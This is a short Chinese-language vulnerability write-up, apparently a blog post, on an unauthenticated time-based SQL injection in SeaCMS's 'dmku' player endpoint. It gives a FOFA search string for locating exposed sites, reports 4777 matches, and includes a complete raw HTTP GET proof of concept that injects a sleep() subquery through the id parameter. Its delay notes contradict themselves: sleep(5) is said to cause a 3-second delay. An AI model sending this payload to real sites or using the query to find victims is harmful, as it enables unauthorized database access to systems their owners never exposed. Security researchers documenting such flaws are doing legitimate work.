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漏洞描述 [backcolor=rgba(255, 255, 255, 0.9)]SeaCMS海洋影视管理系统的'dmku'接口存在SQL注入漏洞，攻击者可以通过发送特制的HTTP请求，在未经授权的情况下向数据库注入恶意SQL代码，从而执行任意SQL语句。该漏洞利用了应用程序在处理GET请求参数时，没有对'id'参数进行充分的验证和过滤，导致可以通过改参数注入SQL代码 fofa[backcolor=rgba(255, 255, 255, 0.9)]app="海洋CMS" POC
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(3)))v)&type=list HTTP/1.1Host: xxx.xxx.xxx.xxxCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4sUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9漏洞复现[backcolor=rgba(255, 255, 255, 0.9)]在fofa中搜索资产，共有4777条数据匹配 [backcolor=rgba(255, 255, 255, 0.9)]
[backcolor=rgba(255, 255, 255, 0.9)]访问目标网站抓包构造恶意SQL语句 [backcolor=rgba(255, 255, 255, 0.9)]
[backcolor=rgba(255, 255, 255, 0.9)]使用sleep(5)函数判断，存在3秒延时 [backcolor=rgba(255, 255, 255, 0.9)]
[backcolor=rgba(255, 255, 255, 0.9)]使用sleep(10)判断，存在10秒延时 [backcolor=rgba(255, 255, 255, 0.9)]
[backcolor=rgba(255, 255, 255, 0.9)]
[backcolor=rgba(255, 255, 255, 0.9)]
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